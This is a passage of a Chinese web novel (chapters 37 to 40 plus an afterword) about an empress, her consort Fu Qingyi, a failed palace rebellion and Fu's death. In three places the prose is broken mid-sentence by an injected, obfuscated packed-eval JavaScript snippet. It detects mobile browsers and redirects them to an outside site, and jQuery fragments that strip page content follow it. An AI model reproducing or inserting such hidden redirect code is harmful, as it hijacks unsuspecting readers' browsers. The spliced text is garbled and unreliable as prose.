轻飘飘的一句话。说完那句话,她就转过头去,再也没有回头。 那是他第一次意识到,原来帝王对自己,真的一丝情意都没有。 37. 归期近(1) 宋闻薰发了很大的火。 宫中已许久未见帝王发怒,一时间人人静若寒蝉,刚升为和君的赫连伊以不可思议的速度失去了帝王的宠爱,被废为庶人等候发落。 风暴的中心坤宁宫,则安静得诡异。付贵君在被行刺之后失血过多昏迷了过去,他的身子从大病一场后一直没有完全好起来,本就在喝药调理,现在受了重伤,愈发糟糕。 太医建议宋闻薰把软筋散的解药喂给付清衣,性命攸关,宋闻薰默然片刻,应允了。 床榻上的青年安静地躺着,唇角干裂,容色惨白。宋闻薰正在喂他喝药,她轻轻捏着他的下巴试图将苦褐色的汤药灌进去,昏迷中的付清衣本能地向后仰头,微微皱着眉,显出几分和他清醒时截然不同的孩子气。 宋闻薰无视了他的躲避,面无表情地将药硬灌进他喉中,捏着他下巴的手极用力,报复一般留下了红印。 殿中只有他们二人,某个不久前才说过再也不来坤宁宫的人现在坐在床边,出神地望着昏迷不醒的人,朝阳的光落在她发上,夕阳的光落在她发上,殿中慢慢暗下去,烛光跳动,不知不觉已过了一整日。 床榻上的人终于咳嗽两声,缓缓转醒过来。 慢慢睁开眼的付清衣表情是柔软的,他好像刚从一个美梦中苏醒,唇角眉梢带着一丝轻快笑意,如同很多年前在街上打马踏花的少年。 “你醒了。”宋闻薰慢慢道。 付清衣撑着床沿让自己坐起来,乌黑的发顺着他的动作披散在他凹陷的锁骨处,跳动的烛火映在他脸上,他沉静的黑眸亮若星子,带着一丝久违的温柔。 他主动抓住她的手,宋闻薰愣了一下,慢慢蜷缩起手指,听见了他醒来后的第一句话:“不要去攻打月氏。” 到了这个时候,他的第一反应还是阻止她开战。 宋闻薰呼吸一顿,道:“嗯。” 她难得如此顺着他,甚至没有提任何要求。 听见了她的回答,付清衣放心下来,他刚想松开宋闻薰的手,忽然被紧紧地反握住。 她握得很紧,紧得付清衣隐约有一丝疼,他抬眼,和宋闻薰凝重的目光撞上。 宋闻薰开口想说什么,硬生生刹在嘴边,因为付清衣主动靠过来,蜻蜓点水地在她的额头上落下一个吻,克制温热的一个吻,像柳絮在人心里轻轻拂过,带来连绵不绝的痒。 一贯从容不迫的皇帝脸上罕见地空白了一瞬,付清衣看着她的表情,勾起唇角轻快地笑了。 他已经许久没有如此高兴过,宋闻薰一时间不知道该说什么,唯恐打破他们之间难得的亲昵。 “我方才做了一个梦。”付清衣开口,语速很慢,神情中带着怅然,“我梦到了我们十七岁那年。” 他没有继续说下去,但他们都知道十七岁那年意味着什么。 那时候付清衣家人俱在,他驰骋沙场,意气风发,是京城里最倜傥不羁的少年郎。 那时候他们感情正好,每逢他凯旋归来,宋闻薰会偷偷溜出宫去城门迎他,付清衣策马从长街上奔过,玉冠束发,身若流云,周遭不住有欢庆的民众把花掷给他,少年将军弯着眼睛朗声道谢,把花抱了满怀,然后在经过她的时候一勒马缰停下来,隔着如梭的人群轻轻眨了一下眼。 宋闻薰站在原地没有动,只是朝着他浅浅地笑着,隐秘的欢喜从她心底升腾,她骄傲地想,这个人是我的。 宋闻薰怔仲片刻,忽然低低笑道:“十七岁吗……我那时还是微贱如泥的公主,见你一面都要提心吊胆。” 她看向窗外,仿佛透过窗外浅淡的春光,看清那一年的自己。 “你入宫向父皇汇报那日,我躲在长廊后,静静看着你们。你,父皇,皇后,太子,我那个受宠的三姐姐。三姐姐喜欢你,她能在所有人面前光明正大地坐在你身边,能缠着父皇选你做她驸马——所以我杀了她,那是我第一次动手杀人。” 付清衣望着她,神情平静,无波无澜。 宋闻薰看着他,突然意识到他一点儿也不惊讶。 她问:“你都知道?” 付清衣看着她错愕的神情,良久,轻声道:“阿薰,一次两次我尚有疑虑,但三公主、皇后、太子接连倒台,你却一日比一日得势,我怎么可能不明白是谁做的。” 阳光从窗外均匀地铺进来,把宋闻薰的脸色照得惨白,她无意识地去掐自己的手,疼痛唤回她的理智,她整个人像是走在悬崖边,摇摇欲坠:“……你早就知道。” 她没有等他回答,喃喃重复了一遍:“你居然早就知道。” 很难去形容她此刻的心情,她在他面前戴了许久的面具,小心翼翼,如履薄冰,她一直以为自己的面具天衣无缝,直到今日才惊觉,原来他什么都看见了。 宋闻薰一眨不眨地盯着付清衣,她深吸一口气,慢慢弯起唇角,低问他:“这么多次,你看着我在你面前装着曾经的可怜样,是不是很好笑?” 付清衣收敛了神色,一字一顿道:“我从来没有。” 宋闻薰不置可否地笑了一声,转身想离开,付清衣扶着床沿站起身,他气色并不好,整个人都显得虚弱,但依旧执着地追到她身后,道:“我那时候只觉得心疼,心疼你不得不杀了他们自保。” 宋闻薰背对着他,身影微微颤抖。 “可你杀的人越来越多。我阻止不了你,又做不到恨你。”付清衣轻抚着她的手,声音和缓温柔,“……只好恨自己。” 宋闻薰沉默下来,她的呼吸声变得很重,过了一会儿,她道:“这就是你一心寻死的原因吗?” 她没有等到身后人的回答。 窗外传来隐约的鸟鸣,屋内一片寂静,只能听见两人的呼吸声。 宋闻薰闭上眼,深深的无力感如同潮水卷上来,几乎要把她淹没。 付清衣从袖中拿出一只玉镯,将它小心翼翼地套进宋闻薰的手腕上,冰凉剔透的玉镯与宋闻薰白皙的手腕很相衬,抬手间仿佛有一汪碧绿的泉水流动。 他朝她展眉一笑:“这是母亲赠你的礼物, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15450131|169454||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 本该早就给你的。” 宋闻薰抬起手,认真抚摸过玉镯的质地,不知想到了什么,长睫微垂:“……她一定很爱你。” 付清衣目光中有怀念,他道:“如果她见到你,一定也会很爱你。” 他们已经很久没有这样心平气和地坐在一起说话,彼此都有些恍惚,好像回到了很久很久以前,空气里弥漫着桂花香,小公主与小将军漫步在林子里,忘却烦恼,把心事说尽。 夜深了,烛火燃烧,发出很轻的声响,宋闻薰最终没有走,即使有许多堆积的公务要处理。 她与他躺在一起,把自己裹紧被子里,与付清衣贴得很近,近到他的声音仿佛在顺着耳朵流淌。 也许梦境让他想起了从前,付清衣今夜像是暂时放下了他们之间的所有争执与对立,变得异常多话,他语速很慢,一点一点给宋闻薰讲他小时候的趣事,讲参军后的见闻,讲他的父亲、母亲、妹妹,讲他的半生。 宋闻薰鬓发散乱,姿态放松,她卸去了那些繁复的礼数,摘掉了那张虚伪的假面,只露出一双黑亮的眼睛,看起来很柔软,像是一只毛绒绒的猫,她听着他慢慢说: “清蓉卖我,她故意算准了父亲回来的日子,撺掇我用父亲收藏的犀角弓当弹弓支架,这样父亲就会气得打我,忘记她前几日把书涂得全是小人。” “母亲特地给父亲写了字帖,一有空就督促他练字,但父亲还是写得很丑,连刚开蒙的清蓉写字都比他好,我和清蓉就偷偷笑话父亲,被父亲发现了,罚我们抄一遍孙子兵法。” “我刚开始练唐刀时你正好爱吃梨子,我就顺手用唐刀削梨,半个月下来,刀法没什么长进,但是每次削梨都又快又好,梨皮都不会断。” ………… 宋闻薰听着听着,眼前仿佛慢慢浮现出那样一户人家,与深宫中的尔虞我诈截然不同的一户人家。 她像个凿壁偷光的人,隔着一层墙缝窥视付清衣的生活,她对于爱与家庭的一切想象都来源于他,拥有爱的人更擅长付出爱,可宋闻薰两手空空,能回馈给他的只有伤害。 宋闻薰垂下眼,捏了捏付清衣的脸。 “嗯?”付清衣停下讲述,低头看她。 她目光闪动,半真半假地笑道:“我真嫉妒你。” 付清衣脸上的神色有那么一刻变得十分难过,但在宋闻薰看过来的瞬间,他还是展眉笑了,若无其事地拥抱了她,道: “睡吧,阿薰。” 身侧人的呼吸逐渐均匀下来,付清衣抬眼看过去,发现宋闻薰睡着了,她睡得放松,乌发散乱,侧身紧紧靠着他,即使是在睡梦中,她的眉心也总是皱着,像是在做一个醒不过来的噩梦。 她瘦了很多。 她很久没有真心笑过。 她一日权盛一日,却越来越沉默。 付清衣小心翼翼地起身,吹熄了床边的烛火,他替她掖好被角,目光在她身上停留了许久,目光里,有自己都未曾察觉的留恋。最后他俯下身,亲了亲她紧皱的眉心。 38. 归期近(2) 宋闻薰是被李富叫醒的。 李富情绪一向稳定,尤其是面对皇帝时,宋闻薰从未见过他如此惊慌失措。他径直冲进了寝殿,也不顾失礼不失礼了,“扑通”一下跪倒在地,头埋得低低的:“陛下!有人叛乱!!!” 宋闻薰瞬间从睡梦中清醒过来,她立刻从袍袖中摸出一把匕首,抬眼一看,身侧的付清衣不知什么时候不见了,那一瞬间她心跳漏了一拍,眉心一皱,厉声问:“付清衣呢?” 李富道:“付贵君消失了!” 宋闻薰的面色顿时变得十分阴沉,想到昨日付清衣反常的温柔态度,一个模糊的猜测在她心里酝酿起来,她深吸了一口气,顾不上其他,当即唤道:“素音!” 一身劲装的女子从房梁上跃下,她拔出佩剑,迅速道:“暗卫已经集结赶来,我代替陛下吸引他们注意。” 宋闻薰点点头,她一把扯下身上的龙袍,抓起素音递来的宫装穿上,扭头看了一眼李富,李富会意,他当机立断道:“我跟着素音大人。” 跟着素音,意味着他极有可能与叛党正面起冲突,这个一贯笑呵呵,圆滑又世故的太监,在这一刻没有一丝犹豫。 李富在心里自嘲地想,他做出这个决定,其实算不上对宋闻薰有多忠心。自小遇到饥荒,朝廷也不管不顾,家里人没办法,只好让他挨了一刀,卖进宫里当太监,只卖了一两银子,但家里人总算能活下去了。 他刚进宫时,见着满身绫绸的贵人们,不明白为什么世道会这样。那些贵人们指缝里漏下几粒米,也足够他这样的穷苦人吃一年。他以为宫里人都是这样的,天生就是上等人,直到他见到那个公主。 六公主被从冷宫里拖出来的样子,看着和自己这些人没什么两样。他看着都觉得那么小的孩子凄凄惨惨团在一起的模样实在太可怜,然而贵人们似乎觉得很好笑,哄堂大笑起来。 而后许多年,李富都没有见到过她,再次见到时,还不等他模糊地辨认出面前一身龙袍的人是那个小公主,就不得不俯首下跪。 她登基后,北齐终于有了一个有手腕有魄力清理蛀虫的帝王,几年来,饥荒越来越少,存粮越来越多。李富愿意为她卖命的原因很简单,如果她能活得久一点,说不定自己的家人也能活得久一点。 素音披上龙袍,李富紧随其后,乍一看足够以假乱真,他们井然有序地安排好一切,走出宫殿时,见远处一片喧嚣,彼此都明白了这是一场恶战,宋闻薰看着二人的眼睛,认真道:“待叛党伏诛,朕不会辜负你们。” 她不再多话,向宫中的密道走去,走了几步,身后的素音突然喊住了她:“陛下,若付清衣叛了,杀还是不杀?” 宋闻薰的背影似乎晃了晃,她一反常态地没有说话,像是没听到这句话,向前走去,等身后的人离开,她才发觉自己的指甲已经刺入肉里,鲜血淋漓,她眼前眩晕了一瞬,很快又扶着墙稳住自己,缓慢地走入密道。 密道是由几代北齐皇帝共同筑就的,地形复杂,地方冷僻,直通外城,参与过密道建设的工匠均死于非命,保证了密道的绝对机密性,只有拿到玉玺的人,才能打开放置地图的盒子。 宋闻薰走得很快,神色却极为冷静,今日的一切都发生得太迅速,显然是早有预谋想打她个措手不及,但她豢养的禁军也不是吃素的,只要一个时辰内叛军杀不死她,禁军就能赶到,到那时攻守易势,她会把那些胆敢忤逆她的人全部斩草除根。 短短的几刻钟内,她已经确定了怀疑对象:有军队,且叛乱从皇城西北边开始,大概率是刚上任不久、掌控外城兵马调令符的李元进,能瞒住宋闻薰安插在各个地方的探子,事先没有走漏一点风声,基本可以确定有招鸾阁里的女官参与,能堂而皇之地从宫墙外入内而没有遭到阻拦,把守宫门的御前侍卫估计已被人杀害,后宫中有人里应外合。 她的大脑飞速转动,却刻意避开了那个问题:付清衣去哪里了? 密道幽暗,像是十五年前冷宫的那个夜晚,伸手不见五指的黑夜里,唯有自己可以依靠信赖。 宋闻薰的手紧紧攥着那把匕首,手心甚至出了一层薄汗,窒息感扼住了她的喉咙,幼年的阴影如同跗骨之蛆,一点点蚕食她的理智。 压不住的暴戾冲动再一次涌上心头,宋闻薰深深吸了口气,冰冷地想,胆敢反叛她的那些人,她一个都不会放过。 离出口还有百米。 十米。 一米。 推门而出,新鲜的空气扑了她满怀,树上似乎早有人在等待,他一跃而下,稳稳落在宋闻薰面前。 宋闻薰不假思索地亮出匕首,径直向眼前人扎去,付清衣侧身避过这一击,见她下手一点儿不留情,诧异地道:“陛下,是我。” 宋闻薰收了匕首,望着他,极重地眨了一下眼睛,把那些潮湿阴暗的记忆从眼前驱散,慢慢镇定下来。 “……我没看清是你。” 付清衣抓起她的手腕:“我知道。有人让我在这里等,明言有要事相商,我过来了,但没想过出现的会是陛下。” “谁?”宋闻薰皱起眉。 付清衣道:“赫连伊。” 宋闻薰皱了一下眉,她反应很快,立刻道:“我们必须马上离开这里。” 付清衣看着她的眼睛,忽然笑起来:“这里原本有人埋伏,但不是我对手。陛下,我护送你出宫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15450132|169454||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 宋闻薰停住脚步,低低笑了。 她慢慢道:“原来如此。你要带我出宫去哪里?” 付清衣依然在向前走,神情不变:“去找李元进将军。” “刺啦——” 匕首捅破衣衫。 宋闻薰面无表情地攥着匕首,径直扎穿了他的后心。 血溅到她脸上,衬得那双眸子愈发冰冷如霜,她拔出匕首,嘲讽地看着“付清衣”:“派你来的人没有告诉你吗?你演得错漏百出。” 面前的人不可置信地抬起头,栽倒下去,宋闻薰犹嫌不够,抬手用匕首划开了他脸上的人皮面具,嫌恶地将人皮面具挑开,然后把匕首架在他的咽喉上,慢条斯理地一抹。 这下人彻底死透了,宋闻薰看着地上的尸体,深吸一口气,将匕首擦拭干净重新放回袖中。杀戮抚平了她方才因回想旧事而产生的戾气,她没有再看地上的尸首一眼,径直向另一个方向走去。 宫墙如一把剪子,把皇城分割成两半,一半因叛乱而沸腾,血流成河,一半却还沉浸在春日慵懒的清晨里,静悄悄一片。 时间一分一秒地过去,静悄悄的那一半皇城也逐渐苏醒,被蒙在鼓里的禁军统领受到了宋闻薰的加急密令,脑袋“嗡”地一声,爬起来就去集结人马往宫中赶。 辰时三刻,也是该到了要清算的时候。 宋闻薰看不见素音,却也能够通过冲天的火光与喊杀声判断出她的方位,她离那儿还有一段距离,很安全。禁军会从西南方入宫,她只要与禁军汇合,叛党伏诛不过是时间早晚问题。 她一边走,脑海中一边闪过无数可能背叛她的人的影子,分析他们可能勾连到的官员和背后的势力。 从边疆调来京师的队伍里,有一支是玄煞十二营的旧部,难免对她心有芥蒂。 王之寰几年前被宋闻薰毒杀,同属一党的柳芳歌极可能会产生兔死狐悲之忧。 近期她颁布圣旨重点打击地方豪强,说不准是某个心怀不轨的地方势力勾连了军队,狗急跳墙想博一把大的。 ………… 宋闻薰冷静地思索着,手指无意识地摩挲着匕首的柄,只要一从这种思索中抽离出来,宋闻薰就会克制不住地想到付清衣。 他去哪儿了?他还安全吗? 她向宫门口走去,在心里默数暗卫找到她的速度和禁军找到她的速度哪个更快。 正当思索之际,第六感让她突然停下脚步,她以手握匕,警惕地横于面前,见密密桂花林中,一身缟素的女子带着一队军中打扮之人走来。 她看清女子的容颜,一瞬间瞳孔急骤收缩。 “……卡蓝。” 39. 归期近(3) 卡蓝望着宋闻薰,良久没有说出话。 宋闻薰已经太久没有见过她,这个天真活泼的草原公主,曾经追着她笑眯眯地叫姐姐。太子伏诛,突厥灭族,宋闻薰那时候杀了很多人,却唯独放过了她。 她比从前瘦了一圈,近乎形销骨立,风从过于宽大的袖子中灌过去,她摇摇欲坠,像是浑身上下都只剩了一具骨架。 宋闻薰几乎没有从那张脸中看见熟悉的模样。 在见到卡蓝的一刹那,她也基本明白了这场叛乱的来龙去脉。 卡蓝看着宋闻薰,缓慢地扬了扬嘴角,她的笑也和以前不一样,像是渗进去了积年的苦涩。 卡蓝身后的人是赫连伊,他被废为庶人后,很久没有见到宋闻薰了,真见了她,他原以为自己会雀跃激动,可这一刻他不自觉垂下了眼睛,下意识躲她的目光。他缓声对卡蓝道:“你答应我不伤陛下,只杀付清衣的。” 这句话砸进宋闻薰耳朵里,她霍然变了脸色,红血丝充斥着她的眼睛,她一眨不眨地注视着卡蓝,嘶哑地问:“你们把他怎么了?” 赫连伊看见她这样在乎付清衣,脸色白了又青,他忍了一会儿还是没忍住,负气般小声道:“他死得其所……” 宋闻薰的脸色一瞬间变得异常可怕。 赫连伊看见她的脸色,连接下来要说什么都忘了,怔怔地看着她,如果说上一次是他头一回见到如此失态的宋闻薰,那这一次就是他第一次看见如此可怕的帝王。 被她盯着,像是被一条毒蛇的竖瞳盯上,冰冷、仇恨、杀意,在这一瞬间涌上她深邃的眼睛,她身上仿佛酝酿着一场巨大的风暴,山雨欲来风满楼。她分明身边没有任何人,孤零零一个地站在那里,却透着令人胆寒的气息。 与从前那个会笑着与他说话的帝王判若两人。 原来这才是褪去面具后的她。 如果说赫连伊刚刚是因为愧疚不敢直视她,那么现在,他是因为心底的恐惧。 卡蓝看着她的脸色,突然笑了,眼底一片冰冷的嘲讽:“宋闻薰,你也有露出这种表情的一天。” 宋闻薰喉咙里泛上血气,她沉沉看着卡蓝,低声道:“朕不该留下你一条命。” 卡蓝像是被这句话激怒了,她脸上一片铁青,咬牙道:“我当初也不该向太子求情留下你一条命。你不配。” 她彻底失去了耐心,朝着后面的人做了一个手势,杀。 赫连伊看懂了这个手势,他犹豫一瞬,还是皱着眉拔出佩剑,抬脚挡在宋闻薰身前,不悦地看着卡蓝道:“你说过把她留给我的。” 这个动作与多年前还是太子妃的卡蓝重合,那一日太子与宋闻薰对峙,卡蓝也是这样挡在宋闻薰前,焦急又认真地道:“太子哥哥,六殿下不是坏人!” 这一刻不只是宋闻薰,连卡蓝的神情都有一刹那复杂。 她来到中原认识的第一个人是宋闻薰。 教她中原礼仪的第一个人是宋闻薰。 在她因为想家半夜哭泣时,搂着她轻声安抚的也是宋闻薰。 她好像有无限的耐心,她好像永远也不会生气,她总是笑盈盈地看着她,对她说:“你若想家了,便把我当做你的姐姐,好不好?” ………… 可也就是这个人,下旨杀死了她的父母,毁掉了她的故乡。 卡蓝指着宋闻薰,她的手指在颤抖,或者说,她整个人都在颤抖,像一株凋零的树,她在对赫连伊喊,又在对自己喊,用尽全力发出的声音凄厉疯狂,字字啼血: “滚开!从她面前滚开!你知道你护着的是什么人吗?她是十恶不赦的鬼,是长生天的诅咒,她会害死你!她会害死你们所有人!!” 赫连伊没有见过卡蓝如此歇斯底里的模样,一时间愣在原地,没有动弹。 血突然从他胸口喷涌出来,赫连伊低头去看,满目鲜红,刺目可怖,他喉头一甜,意识到这是自己的血。 宋闻薰用匕首捅穿了他的心脏。一击毙命。在这一击之后,她再次捅进他的肩膀中。 赫连伊震惊而困惑地看着宋闻薰,还未反应过来发生了什么,他蜜色的肌肤肉眼可见地灰白了,血液与他的生命力一起流逝,他像一朵刚刚开放就被人采摘下的花,花瓣一寸寸枯萎下去。 在闭上眼睛的最后一刻,赫连伊绝望地看着她。 “……为什么?”他喃喃。 宋闻薰白皙的脸上,一滴溅上去的血缓缓流下来,她利落地拔出匕首,抬起手缓缓抹去,姿态从容如同拭去一粒灰尘。 她做完这些动作,低头看着地上还睁着眼望着她的赫连伊,蹲下来,轻轻覆上他的眼睛,像往常一样体贴地替他合上了眼,声音却冰寒彻骨,带着一丝扭曲的疯狂: “因为你杀了他。” “因为你背叛我。” 她是一个政客,明白刚刚她最应该做的是拿赫连伊作为威胁,逼着那些来自草原疑似隶属于月氏的杀手们不敢轻举妄动。 但她没有,这是她登基以来最冲动最不计后果的一次杀人,愤怒与仇恨席卷了她的理智,在赫连伊说出付清衣死了的那一瞬间,她只有一个念头。 杀了他。 杀了他! 杀了他杀了他杀了他杀了他!!! 卡蓝不可置信地向后退了一步,用看怪物的眼神看着宋闻薰。 一月前,这位月氏来的王子获封和君,人人都道他皇恩浩荡,独承恩宠。 一个月后,枕边人迅速杀了他,下手果断。 惊怒之下,卡蓝不再与她作口舌之争,她再次比了一个“杀”的手势,身后的几个杀手以迅雷不及掩耳之势向她猛扑而来,刀光闪烁间,宋闻薰将手中的匕首直接向前投掷过去,正对着卡蓝,身侧的几人不得不回身抵挡,趁着这一时半刻的功夫,宋闻薰抬脚便向后面的假山撤去。 卡蓝怒道:“去追她!” 暗卫还需要一段时间才能赶到,宋闻薰冷静地想,这一次,她恐怕凶多吉少。 她甚至没有什么情绪,一直到了这一刻她才意识到,其实自己与付清衣一样,潜意识里都并不怎么想活下去。 她有点儿累了。 刀光剑影中,忽有满面竹香袭来,有人携着一把唐刀从天而降,身似流光,快若闪电,刀掀起的风吹起他脸颊边的碎发,露出一双明锐的眼睛。他一刀劈向那些围困过来的人,硬生生将那个包围圈撕出一条口子。 是付清衣。 宋闻薰心口一跳,抬眼与付清衣对视,见他脸色苍白如纸,还没来得及高兴,心已经沉了下去。付清衣抬起眼睛,向她安抚般笑了一下,无声地道:“没事的。” 付清衣的刀法是出了名的迅猛轻捷,而这一次,他的动作比以往都要着急,一招一招凌厉果断,像一张网,快得只能让人看见残影。以一敌十,他丝毫不落下风,袍袖翻飞,死死地护着宋闻薰。 卡蓝从付清衣出现的那一刻起就怔怔的,她不敢置信地看着付清衣,低声自语:“这不可能……” “……清衣。”宋闻薰看着他的背影,永远挺拔的,不肯弯腰的脊背。 付清衣听见了她的声音,但他没有回头。肩膀上未好的伤口撕裂开来,一片殷红的血迹。 宋闻薰脱力地靠在假山上,手中紧紧攥着那把匕首,她看着他的背影,嘴唇颤动,却没有出声,她在心里一遍又一遍地喊。 清衣,清衣。 半炷香后,暗卫终于赶到,他们训练有素地包围了卡蓝一群人,胜负已定,而西北面的喊杀声也渐渐停了,这场急促的宫乱落下了帷幕。卡蓝静静地站在刀枪里,出人意料的,她的眸中不再有仇恨与愤怒,而是一片从噩梦中醒过来的解脱。她似乎疲倦极了,在暗卫出现的一瞬间,决绝地把手中的药丸送入口中,咬下。 在中原活下去真的好累啊,她为了报仇,已经要不认识自己了。 在一片恍惚之中,她看见了绿浪翻滚的草原,看见草原上格桑花开了一大片,有一个小女孩咯咯笑着,赤脚在其中奔跑,去追逐离群的羊羔。 不远处,她的哥哥姐姐们坐在泉水边,正放松地哼着歌: “大雁向南飞,马儿向后走。柯尔克孜呀,回家来喝酒。” “卡蓝,回家喝酒啦!” 女孩从灼灼花影里回过身,把手高高地举起来,向身后的亲人们喊:“来啦!” 四月 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15450133|169454||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 二十八日,废太子妃卡蓝刺杀未遂,自裁。 帝以公主之礼葬。 素音与柳芳歌赶到的时候,正要向陛下汇报清剿叛军的事情,就见陛下忽然向前奔去,一把抱住了摔倒下来的付贵君,脱力半跪在地上,陛下一跪,周遭的人齐刷刷跪下了,无人敢抬头。付贵君倒得毫无征兆,明明上一刻他还好端端站在那里,手中刀如同他的人一样锋利,然而下一刻他径直倒了下去,口中的血再也咽不进去。 他倒在陛下怀里,一动不动地注视她,很安静,眉眼含笑,温柔极了。 付清衣对生早已经没有留恋,这一刻的到来也只是早晚而已,他方才已经咽下去了很多口血,可是现在血越来越多地涌出来,他有些咽不下了。 宋闻薰抱着他的动作很轻柔,她今天没有穿皇帝的服饰,望着他的脸上一片惊惶,依稀让他看见了过去的小公主。 宋闻薰不是天生冷血,他见过她笑的、哭的、开怀的、委屈的样子,见过她步履维艰的少年时代,也见过她少女怀春的羞涩真心。 纵然知道眼前人满手血腥,也再无法恨她。 他这一生,与她相比其实很幸运,有恩爱的父母,有相伴扶持的妹妹,有同生共死的袍泽,有一见钟情的爱人,只是运气不好,起头重,落脚轻,那些人终究还是离他而去了。 现在,他也要走了。 宋闻薰从短暂的惊惶中冷静下来,她抱着他的手一直在轻微地颤抖,扭头对身边的人道:“叫太医过来!马上!” 付清衣费力地抬起手,扯了扯她的袖子,声音轻微:“陛下……” 宋闻薰转头看向他,眼睛里不知何时已经蓄满泪水。她一只手抓着他的手,无力地想要握得更紧一点,另一只手不住地去擦他嘴角的血,可还是眼睁睁看着他嘴角的血越来越多。 付清衣偏头在她掌心啄了一下,朝她笑起来,目光很轻柔,带着怜惜,但他实在没有力气做其他动作来安慰她了,只好很慢很慢地说:“……别哭,不疼的。” 宋闻薰抬手擦去脸上的泪,攒出一个勉强的笑,低声应道:“嗯,你今天……为什么突然走了?” 一旁的柳芳歌面色微微一变,紧张地看着他们。 付清衣终于艰难地撑起一点力气,消瘦的手掌轻轻抚上宋闻薰的脑袋,像他们从前打闹时一样揉了揉,把她一丝不苟的头发揉乱,虚弱又狡黠地微笑起来:“你给我喂了解药,软筋散的药效过了,宫墙困不住我……你不要牵连李元进的家人……是他让我活着再见到你……我救过他们兄妹二人……” 更多的血顺着他的口角流下,鲜艳的红色刺伤了宋闻薰的眼睛,他的手刚揉她的头完就脱了力,从空中坠落下去,宋闻薰一把接住他的手,轻轻地道:“嗯。我知道。我都知道了。我们聊点别的。聊点……关于我们两个人的。醒来的时候看不见你,我很害怕。清衣,我很害怕。你不能离开我,你走了,我就什么也没有了。” 付清衣垂下眼睫,很浅很浅地笑了笑,他有些困了,但依然执着又温柔地说道:“不是的,陛下,有越来越多的人爱戴你、敬畏你、仰望你……身为臣子,我看着你走过了一条艰难的路,看着你青史留名,功盖天下,是我的幸运……可是陛下,臣想求您一件事……” 他最后的一句话比风声更轻,含着无边的怅惘与怀恋,宋闻薰侧耳过去,听见了未完的那句话: “活下去,不要忘了从前的阿薰。” 付清衣没有等到宋闻薰的回答,他闭上了眼睛。 少年付清衣一心以为他会在某一日马革裹尸,如同他的父亲、母亲和妹妹一样先后死于疆场。 他无数次翻跃宫墙来寻公主宋闻薰的时候,并不会想到,他的归宿竟然会在这里。 宋闻薰半跪在他身侧,清晰感受到手中的脉搏停止了跳动,她整个人僵在原地,心如刀绞,霎时支撑不住,呕出一口心头血。 只是一瞬,从此死生契阔,天人永隔。 这一天之后,也许会有越来越多的人爱戴、敬畏、仰望她,但是再也没有人会记得那一年炎夏,少年将军扶起跪着的公主,宋闻薰搭上他的手,从此搭上了她这一生最浓烈的爱恨与嗔痴。 40. 后记:流水二十三年 “陛下。”一声呼唤撞破屋后沉沉的阳光,龙椅上闭目养神的人睁开眼睛,转过头来。 二十三年了,宋闻薰鬓发微白,眼角已经爬上了细纹。 她静静看着来人,来人一身官服,同样已经微露老态,俯首跪下,向她规矩地行了礼。 宋闻薰道:“高阳那个孩子怎么样了?” 高阳公主是一支皇室旁支的血脉,十岁那年她于宫宴上被宋闻薰看中,从此抚养在她膝下,以太子规格培养。 朝中有许多人对此颇有微词,认为一介女流不该立为太子。他们上书宋闻薰的第二天,便全部丢了官帽。 二十三年过去了,宋闻薰大权独揽,已经没有人能阻挠她的决定。 柳芳歌脸上微露笑意,赞许道:“公主处事不惊,已有了当初陛下年轻时的风范。” 宋闻薰目光悠远,听到这句话,很淡地笑了:“她其余的都好,只有一点,对亲人下属与朋友都以真心相待,没有防范之心。” 柳芳歌停滞了片刻,道:“陛下,可要逼她一把?” 宋闻薰长久地沉默下来,不知是想到了什么,她最后轻轻叹了一口气:“罢了。” 午后的光晕落在她鬓间的白发上,将她整个人都晕染得寂寥,她转头盯着柳芳歌,意味不明地笑了笑:“当初朕对你千防万防,不还是让你钻了空子?” 柳芳歌脸上的表情微微凝固了一瞬,随即沉静地微笑,像是早已经有了猜测,笑容中带着几分苦涩:“陛下全然知晓了。” 她提心吊胆了二十三年,终于在这一日得到了迟来的审判。 付清衣那一日突然出去,是她的手笔。她在一日前便告诉他,卡蓝与赫连伊密谋造反,还与李轩德的孩子李元进取得联系,但只要付清衣死了,赫连伊不会愿意看着陛下死去,他与卡蓝就有了分歧,陛下便有反应的时间,可以等到暗卫抵达。 柳芳歌算准了赫连伊对宋闻薰的情谊,也算准了付清衣得知参与叛乱的人中有李元进,他不会忍心告发这场叛乱,当初是他从王之寰的刀下救出李氏兄妹二人,也是他欠着李元进的父亲一份师徒情义。 付清衣只有一条路可选。 他很平静地注视着柳芳歌,道:“柳大人很希望我死,却希望陛下活着,是吗?” 他的敏锐让柳芳歌一惊,她第一次意识到,其实她从前做的许多事,瞒不过付清衣的眼睛,他并没有表现出来的那样无知无觉,他什么都知道。 